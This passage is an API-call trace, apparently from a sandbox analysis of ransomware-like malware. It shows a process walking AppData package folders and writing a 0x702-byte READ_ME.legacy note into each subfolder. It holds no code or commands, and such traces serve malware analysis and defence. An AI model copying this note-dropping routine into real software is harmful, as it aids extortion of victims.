cAlternateFileName="TEMPST~1")) returned 1 [0154.758] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.758] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.759] CloseHandle (hObject=0x8e8) returned 1 [0154.759] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf1e0bc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.759] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61eb88 [0154.759] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.759] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74c17df3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36446b0c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36446b0c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.759] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.767] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.768] CloseHandle (hObject=0x8ec) returned 1 [0154.768] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf231a5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74bcb92d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.768] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.769] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.770] CloseHandle (hObject=0x8ec) returned 1 [0154.770] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf23226b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74bcb92d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.770] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.771] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.771] CloseHandle (hObject=0x8ec) returned 1 [0154.772] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2329b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.772] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.772] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.773] CloseHandle (hObject=0x8ec) returned 1 [0154.774] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c48b68, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3c48b68, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.774] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2331d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.774] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.774] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.775] CloseHandle (hObject=0x8ec) returned 1 [0154.775] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcfcdeeec, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcfcdeeec, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.775] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.777] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.778] CloseHandle (hObject=0x8ec) returned 1 [0154.778] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcffd9e09, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xcffd9e09, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xcffd9e09, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.778] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.779] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.780] CloseHandle (hObject=0x8ec) returned 1 [0154.780] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ec [0154.781] WriteFile (in: hFile=0x8ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.781] CloseHandle (hObject=0x8ec) returned 1 [0154.781] FindNextFileW (in: hFindFile=0x61eb88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2c54cb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.781] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61de48 [0154.782] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xddff7455, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.782] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x366f55bd, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x366f55bd, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.782] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.782] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.783] CloseHandle (hObject=0x8f0) returned 1 [0154.783] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf746fc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765df54b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.787] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.788] CloseHandle (hObject=0x8f0) returned 1 [0154.788] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74778d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765df54b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.788] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.788] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.789] CloseHandle (hObject=0x8f0) returned 1 [0154.789] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7659308d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xf06a22a2, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xf06a22a2, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.789] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.791] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.792] CloseHandle (hObject=0x8f0) returned 1 [0154.792] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c6ef11, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3c6ef11, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3c6ef11, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.792] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd013c79b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.792] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.792] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.793] CloseHandle (hObject=0x8f0) returned 1 [0154.793] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765df54b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712cc700, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712cc700, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.793] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.795] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.796] CloseHandle (hObject=0x8f0) returned 1 [0154.796] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb58b47, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xddb58b47, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xddb58b47, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.796] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f0 [0154.797] WriteFile (in: hFile=0x8f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.798] CloseHandle (hObject=0x8f0) returned 1 [0154.798] FindNextFileW (in: hFindFile=0x61de48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x765b92ef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd01a8a59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x765b92ef, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, 